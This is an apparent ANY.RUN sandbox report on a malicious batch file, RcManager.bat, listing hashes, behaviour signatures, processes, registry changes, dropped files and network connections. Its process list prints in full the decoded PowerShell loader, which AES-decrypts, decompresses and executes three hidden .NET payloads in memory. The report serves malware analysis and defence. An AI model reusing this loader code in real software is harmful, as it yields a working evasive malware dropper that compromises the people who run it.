File name:

RcManager.bat

Full analysis: https://app.any.run/tasks/650cfeec-9080-4eec-a0e8-32aab830ba98
Verdict: Malicious activity
Analysis date: August 04, 2024, 21:56:39
OS: Windows 10 Professional (build: 19045, 64 bit)
Indicators:
MIME: text/plain
File info: ASCII text, with very long lines (58117), with CRLF line terminators
MD5:

59258ECF9A272ECE7A72D711BECABF81

SHA1:

BC2BFF3A62DB2C3D537D478F95B247646CEE3966

SHA256:

83E858A6A7DC299D6E141F81E1CB11A94C56CCC0853A946CEEE2AD9A76A24A72

SSDEEP:

24576:BgoRBpGGpAVsHZYd4T90Yu1EP/CSyOJVDgEb4ecfLzmEObAorHniK6DpkEoAfoOo:Bpw4ho9EgC2O8oOtkEoQPCYEfWUeDJ8H

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Run PowerShell with an invisible window

      • powershell.exe (PID: 6616)

    • Gets or sets the initialization vector for the symmetric algorithm (POWERSHELL)

      • powershell.exe (PID: 6616)

    • Gets or sets the symmetric key that is used for encryption and decryption (POWERSHELL)

      • powershell.exe (PID: 6616)

    • Uses AES cipher (POWERSHELL)

      • powershell.exe (PID: 6616)

    • Dynamically loads an assembly (POWERSHELL)

      • powershell.exe (PID: 6616)

  • SUSPICIOUS

    • Starts CMD.EXE for commands execution

      • cmd.exe (PID: 6448)

    • Executing commands from a ".bat" file

      • cmd.exe (PID: 6448)

    • Cryptography encrypted command line is found

      • cmd.exe (PID: 6608)

    • Allows hiding code in an environment variable

      • cmd.exe (PID: 6588)
      • cmd.exe (PID: 6568)
      • cmd.exe (PID: 6548)
      • cmd.exe (PID: 6508)
      • cmd.exe (PID: 6528)

    • Application launched itself

      • cmd.exe (PID: 6448)

    • Starts POWERSHELL.EXE for commands execution

      • cmd.exe (PID: 6448)

    • Uses base64 encoding (POWERSHELL)

      • powershell.exe (PID: 6616)

    • The process creates files with name similar to system file names

      • wermgr.exe (PID: 6896)

  • INFO

    • Uses string split method (POWERSHELL)

      • powershell.exe (PID: 6616)

    • Checks current location (POWERSHELL)

      • powershell.exe (PID: 6616)

    • Uses string replace method (POWERSHELL)

      • powershell.exe (PID: 6616)

    • Gets data length (POWERSHELL)

      • powershell.exe (PID: 6616)

    • Creates files in the program directory

      • powershell.exe (PID: 6616)

    • Checks proxy server information

      • wermgr.exe (PID: 6896)

    • Reads the software policy settings

      • wermgr.exe (PID: 6896)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
139
Monitored processes
10
Malicious processes
2
Suspicious processes
0

Behavior graph

Click at the process to see the details
start cmd.exe no specs conhost.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs powershell.exe wermgr.exe

Process information

PID
CMD
Path
Indicators
Parent process
6448C:\WINDOWS\system32\cmd.exe /c ""C:\Users\admin\AppData\Local\Temp\RcManager.bat" "C:\Windows\System32\cmd.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\cmdext.dll
c:\windows\system32\advapi32.dll
6456\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
6508cmd /c "set __=^&rem"C:\Windows\System32\cmd.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
6528cmd /c "set __=^&rem"C:\Windows\System32\cmd.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
6548cmd /c "set __=^&rem"C:\Windows\System32\cmd.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
6568cmd /c "set __=^&rem"C:\Windows\System32\cmd.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
6588cmd /c "set __=^&rem"C:\Windows\System32\cmd.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
6608C:\WINDOWS\system32\cmd.exe /S /D /c" echo cls;function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::FromBase64String('OY6nFPJ4H9z2+4XTtkWitzW7FNvnKXxjBZZag80cYEI='); $aes_var.IV=[System.Convert]::FromBase64String('nthw2GFVMC4++otvqn6Ayw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $DvDEM=New-Object System.IO.MemoryStream(,$param_var); $mRgym=New-Object System.IO.MemoryStream; $nDlDo=New-Object System.IO.Compression.GZipStream($DvDEM, [IO.Compression.CompressionMode]::Decompress); $nDlDo.CopyTo($mRgym); $nDlDo.Dispose(); $DvDEM.Dispose(); $mRgym.Dispose(); $mRgym.ToArray();}function execute_function($param_var,$param2_var){ $FdPTg=[System.Reflection.Assembly]::Load([byte[]]$param_var); $mkwxK=$FdPTg.EntryPoint; $mkwxK.Invoke($null, $param2_var);}$dMRRk = 'C:\Users\admin\AppData\Local\Temp\RcManager.bat';$host.UI.RawUI.WindowTitle = $dMRRk;$Chpwz=[System.IO.File]::ReadAllText($dMRRk).Split([Environment]::NewLine);foreach ($yXJRv in $Chpwz) { if ($yXJRv.StartsWith('avcORNsltrXkCtihtyVt')) { $lLZfV=$yXJRv.Substring(20); break; }}$payloads_var=[string[]]$lLZfV.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));$payload3_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[2].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var $null;execute_function $payload3_var (,[string[]] ('')); "C:\Windows\System32\cmd.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
6616"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hiddenC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
6896"C:\WINDOWS\system32\wermgr.exe" "-outproc" "0" "6616" "2940" "2620" "2992" "0" "0" "3008" "0" "0" "0" "0" "0" C:\Windows\System32\wermgr.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Problem Reporting
Exit code:
0
Version:
10.0.19041.3996 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\wermgr.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
Total events
15 778
Read events
15 523
Write events
255
Delete events
0

Modification events

(PID) Process:(6616) powershell.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(6616) powershell.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
(PID) Process:(6616) powershell.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
1
(PID) Process:(6616) powershell.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
0
(PID) Process:(6616) powershell.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer
Operation:writeName:SlowContextMenuEntries
Value:
6024B221EA3A6910A2DC08002B30309D0A010000BD0E0C47735D584D9CEDE91E22E23282770100000114020000000000C0000000000000468D0000006078A409B011A54DAFA526D86198A780390100009AD298B2EDA6DE11BA8CA68E55D895936E000000
(PID) Process:(6616) powershell.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\3c\52C64B7E
Operation:writeName:C:\WINDOWS\system32\,@tzres.dll,-462
Value:
Afghanistan Standard Time
(PID) Process:(6616) powershell.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\3c\52C64B7E
Operation:writeName:C:\WINDOWS\system32\,@tzres.dll,-461
Value:
Afghanistan Daylight Time
(PID) Process:(6616) powershell.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\3c\52C64B7E
Operation:writeName:C:\WINDOWS\system32\,@tzres.dll,-222
Value:
Alaskan Standard Time
(PID) Process:(6616) powershell.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\3c\52C64B7E
Operation:writeName:C:\WINDOWS\system32\,@tzres.dll,-221
Value:
Alaskan Daylight Time
(PID) Process:(6616) powershell.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\3c\52C64B7E
Operation:writeName:C:\WINDOWS\system32\,@tzres.dll,-2392
Value:
Aleutian Standard Time
Executable files
0
Suspicious files
2
Text files
5
Unknown types
0

Dropped files

PID
Process
Filename
Type
6896wermgr.exeC:\ProgramData\Microsoft\Windows\WER\ReportArchive\Critical_powershell.exe_9d0fa4e65acd23c5df15cf5aa5dda9a8072ae5d_00000000_b91447d8-f185-4d5f-920e-b2cf05f18b5e\Report.wer —
MD5:—
SHA256:—
6616powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_vbczfwj1.44h.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6896wermgr.exeC:\ProgramData\Microsoft\Windows\WER\Temp\WER6D1E.tmp.xmlxml
MD5:41B6BC54A392A928F5268BFACCCFD090
SHA256:DFA81E859D2B1535A7EDF482C9FDB98D46138B992B06446190EBD7666F8FC9B9
6896wermgr.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\37C951188967C8EB88D99893D9D191FEbinary
MD5:FB64A9EBEDF48D3895381D5B7D80743D
SHA256:EA21D495930AD76F267A33A0F593DBF0C7EA75E457FCAE49A29DAAD8BD920F42
6896wermgr.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\21253908F3CB05D51B1C2DA8B681A785binary
MD5:82C30E45BF5F93A5DB1D5E47F913053B
SHA256:2C6BBFF9207065E8800C4AF0CB2748818ABB3CFFC0D6D518FE17F76A232F8967
6616powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_h4mrip0g.2k1.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6896wermgr.exeC:\ProgramData\Microsoft\Windows\WER\Temp\WER6CEE.tmp.WERInternalMetadata.xmlxml
MD5:8B0153AE6D34EBBEC19AFCD862EC634C
SHA256:06A1857B2D013099DFD32EC7F217A2AC9A4E08BF11C7E0AA04F9D327617ECB8B
6616powershell.exeC:\Users\admin\AppData\Local\Temp\payload2.exetext
MD5:67FF6DE4C239F713C26F44ADE3D59E05
SHA256:8E173F1DDAFC95E374115C180F1E2AE072B73B50674728B82E74A11DDA46216D
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
5
TCP/UDP connections
45
DNS requests
22
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2456
svchost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
whitelisted
5336
SearchApp.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAI5PUjXAkJafLQcAAsO18o%3D
unknown
—
—
whitelisted
2456
svchost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
whitelisted
6380
backgroundTaskHost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D
unknown
—
—
whitelisted
6168
backgroundTaskHost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D
unknown
—
—
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:138
—
—
—
whitelisted
4484
svchost.exe
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
3888
svchost.exe
239.255.255.250:1900
—
—
—
whitelisted
2068
RUXIMICS.exe
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
2120
MoUsoCoreWorker.exe
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
4
System
192.168.100.255:137
—
—
—
whitelisted
4484
svchost.exe
40.127.240.158:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
unknown
6896
wermgr.exe
20.189.173.20:443
watson.events.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
US
unknown
6616
powershell.exe
193.3.19.110:443
—
OOO Network of data-centers Selectel
RU
unknown
5336
SearchApp.exe
104.126.37.130:443
www.bing.com
Akamai International B.V.
DE
unknown

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 51.104.136.2
  • 40.127.240.158
  • 4.231.128.59
  • 51.124.78.146
whitelisted
google.com
  • 142.250.186.174
whitelisted
watson.events.data.microsoft.com
  • 20.189.173.20
whitelisted
www.google.com
  • 216.58.206.68
whitelisted
www.microsoft.com
  • 184.30.21.171
whitelisted
www.apple.com
  • 69.192.160.210
whitelisted
www.bing.com
  • 104.126.37.130
  • 104.126.37.171
  • 104.126.37.185
  • 104.126.37.145
  • 104.126.37.137
  • 104.126.37.163
  • 104.126.37.139
  • 104.126.37.178
  • 104.126.37.184
whitelisted
ocsp.digicert.com
  • 192.229.221.95
whitelisted
login.live.com
  • 40.126.32.76
  • 20.190.160.17
  • 40.126.32.134
  • 40.126.32.136
  • 20.190.160.14
  • 40.126.32.72
  • 40.126.32.138
  • 20.190.160.22
whitelisted
client.wns.windows.com
  • 40.113.110.67
whitelisted

Threats

No threats detected
No debug info
Interactive malware hunting service ANY.RUN
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Reports
RcManager.bat